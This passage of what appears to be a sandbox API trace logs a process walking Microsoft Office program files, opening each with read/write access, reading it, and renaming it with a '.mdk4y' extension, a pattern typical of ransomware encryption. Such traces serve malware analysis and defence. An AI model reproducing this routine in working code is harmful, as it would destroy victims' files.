dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0225.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830087000000) returned 1 [0225.640] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x295c, lpOverlapped=0x0) returned 1 [0225.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830087700000) returned 1 [0225.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830087700000) returned 1 [0225.648] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml.mdk4y")) returned 1 [0225.651] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.651] AreFileApisANSI () returned 1 [0225.652] GetACP () returned 0x4e4 [0225.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.BusinessApplications.RuntimeUi.dll", cchWideChar=51, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Microsoft.Office.BusinessApplications.RuntimeUi.dllPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 51 [0225.652] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.652] AreFileApisANSI () returned 1 [0225.652] GetACP () returned 0x4e4 [0225.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.BusinessApplications.RuntimeUi.xml", cchWideChar=51, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Microsoft.Office.BusinessApplications.RuntimeUi.xml", lpUsedDefaultChar=0x37dfd8) returned 51 [0225.652] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0225.654] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830088400000) returned 1 [0225.654] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xb2, lpOverlapped=0x0) returned 1 [0225.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830088500000) returned 1 [0225.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830088500000) returned 1 [0225.656] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml.mdk4y")) returned 1 [0225.659] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.659] AreFileApisANSI () returned 1 [0225.659] GetACP () returned 0x4e4 [0225.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.BusinessData.dll", cchWideChar=33, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Microsoft.Office.BusinessData.dllions.RuntimeUi.xml", lpUsedDefaultChar=0x37dfd8) returned 33 [0225.659] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.659] AreFileApisANSI () returned 1 [0225.659] GetACP () returned 0x4e4 [0225.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.BusinessData.xml", cchWideChar=33, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Microsoft.Office.BusinessData.xml", lpUsedDefaultChar=0x37dfd8) returned 33 [0225.659] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0225.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830089000000) returned 1 [0225.660] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x33737, lpOverlapped=0x0) returned 1 [0225.783] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830101300000) returned 1 [0225.783] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830101300000) returned 1 [0225.785] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml.mdk4y")) returned 1 [0225.788] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.788] AreFileApisANSI () returned 1 [0225.788] GetACP () returned 0x4e4 [0225.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", cchWideChar=53, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dllJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 53 [0225.788] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.788] AreFileApisANSI () returned 1 [0225.788] GetACP () returned 0x4e4 [0225.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.InfoPath.FormControl.dll", cchWideChar=41, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Microsoft.Office.InfoPath.FormControl.dll.CLRHost.dll", lpUsedDefaultChar=0x37dfd8) returned 41 [0225.788] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.788] AreFileApisANSI () returned 1 [0225.788] GetACP () returned 0x4e4 [0225.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", cchWideChar=47, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Microsoft.Office.Interop.InfoPath.SemiTrust.dllst.dll", lpUsedDefaultChar=0x37dfd8) returned 47 [0225.788] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.788] AreFileApisANSI () returned 1 [0225.788] GetACP () returned 0x4e4 [0225.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", cchWideChar=47, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpUsedDefaultChar=0x37dfd8) returned 47 [0225.788] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0225.789] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830101900000) returned 1 [0225.789] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xc5265, lpOverlapped=0x0) returned 1 [0225.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830106300000) returned 1 [0225.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830106300000) returned 1 [0225.840] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml.mdk4y")) returned 1 [0225.842] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.842] AreFileApisANSI () returned 1 [0225.842] GetACP () returned 0x4e4 [0225.842] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.Interop.InfoPath.Xml.dll", cchWideChar=41, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Microsoft.Office.Interop.InfoPath.Xml.dllst.xml", lpUsedDefaultChar=0x37dfd8) returned 41 [0225.842] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.842] AreFileApisANSI () returned 1 [0225.842] GetACP () returned 0x4e4 [0225.842] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.Interop.InfoPath.Xml.xml", cchWideChar=41, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Microsoft.Office.Interop.InfoPath.Xml.xml", lpUsedDefaultChar=0x37dfd8) returned 41 [0225.842] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0225.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830107400000) returned 1 [0225.844] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x837d7, lpOverlapped=0x0) returned 1 [0225.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830109800000) returned 1 [0225.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830109800000) returned 1 [0225.873] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml.mdk4y")) returned 1 [0225.876] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.876] AreFileApisANSI () returned 1 [0225.876] GetACP () returned 0x4e4 [0225.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", cchWideChar=52, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dlll", lpUsedDefaultChar=0x37dfd8) returned 52 [0225.876] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.876] AreFileApisANSI () returned 1 [0225.876] GetACP () returned 0x4e4 [0225.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="microsoft.office.workflow.actions.proxy.dll", cchWideChar=43, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="microsoft.office.workflow.actions.proxy.dlloring.dll", lpUsedDefaultChar=0x37dfd8) returned 43 [0225.876] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.876] AreFileApisANSI () returned 1 [0225.876] GetACP () returned 0x4e4 [0225.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.SharePoint.BusinessData.Administration.Client.dll", cchWideChar=59, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Microsoft.SharePoint.BusinessData.Administration.Client.dlltN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 59 [0225.876] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.893] AreFileApisANSI () returned 1 [0225.893] GetACP () returned 0x4e4 [0225.893] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Microsoft.SharePoint.BusinessData.Administration.Client.xml", cchWideChar=59, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpUsedDefaultChar=0x37dfd8) returned 59 [0225.893] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0225.894] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830112400000) returned 1 [0225.895] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x311b0, lpOverlapped=0x0) returned 1 [0225.905] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830113500000) returned 1 [0225.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830113600000) returned 1 [0225.908] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml.mdk4y")) returned 1 [0225.910] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.911] AreFileApisANSI () returned 1 [0225.911] GetACP () returned 0x4e4 [0225.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="microsoft.sharepoint.workflowactions.proxy.dll", cchWideChar=46, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="microsoft.sharepoint.workflowactions.proxy.dllon.Client.xml", lpUsedDefaultChar=0x37dfd8) returned 46 [0225.911] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0225.911] AreFileApisANSI () returned 1 [0225.911] GetACP () returned 0x4e4 [0225.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MIMEDIR.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MIMEDIR.DLLharepoint.workflowactions.proxy.dll", lpUsedDefaultChar=0x37dfd8) returned 11 [0225.911] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MIMEDIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mimedir.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0225.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830116800000) returned 1 [0225.938] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x84760, lpOverlapped=0x0) returned 1 [0225.987] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830121700000) returned 1 [0225.987] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830121700000) returned 1 [0225.996] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MIMEDIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mimedir.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MIMEDIR.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mimedir.dll.mdk4y")) returned 1 [0225.999] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.000] AreFileApisANSI () returned 1 [0226.000] GetACP () returned 0x4e4 [0226.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="misc.exe", cchWideChar=8, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="misc.exeDLL", lpUsedDefaultChar=0x37dfd8) returned 8 [0226.000] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.000] AreFileApisANSI () returned 1 [0226.000] GetACP () returned 0x4e4 [0226.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MLCFG32.CPL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MLCFG32.CPL", lpUsedDefaultChar=0x37dfd8) returned 11 [0226.000] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MLCFG32.CPL" (normalized: "c:\\program files\\microsoft office\\office14\\mlcfg32.cpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.002] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830123200000) returned 1 [0226.002] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x12588, lpOverlapped=0x0) returned 1 [0226.004] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830123400000) returned 1 [0226.004] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830123400000) returned 1 [0226.005] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MLCFG32.CPL" (normalized: "c:\\program files\\microsoft office\\office14\\mlcfg32.cpl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MLCFG32.CPL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mlcfg32.cpl.mdk4y")) returned 1 [0226.007] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.007] AreFileApisANSI () returned 1 [0226.007] GetACP () returned 0x4e4 [0226.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MLSHEXT.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MLSHEXT.DLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0226.007] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MLSHEXT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mlshext.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.008] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830123800000) returned 1 [0226.008] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x5980, lpOverlapped=0x0) returned 1 [0226.024] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830125400000) returned 1 [0226.024] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830125400000) returned 1 [0226.024] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MLSHEXT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mlshext.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MLSHEXT.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mlshext.dll.mdk4y")) returned 1 [0226.027] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.027] AreFileApisANSI () returned 1 [0226.027] GetACP () returned 0x4e4 [0226.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MML2OMML.XSL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MML2OMML.XSLarepoint.workflowactions.proxy.dll", lpUsedDefaultChar=0x37dfd8) returned 12 [0226.027] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MML2OMML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\mml2omml.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.028] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830125800000) returned 1 [0226.028] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x25f87, lpOverlapped=0x0) returned 1 [0226.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830127300000) returned 1 [0226.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830127300000) returned 1 [0226.044] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MML2OMML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\mml2omml.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MML2OMML.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mml2omml.xsl.mdk4y")) returned 1 [0226.076] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.076] AreFileApisANSI () returned 1 [0226.076] GetACP () returned 0x4e4 [0226.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MODELENG.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MODELENG.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0226.076] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MODELENG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\modeleng.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830130800000) returned 1 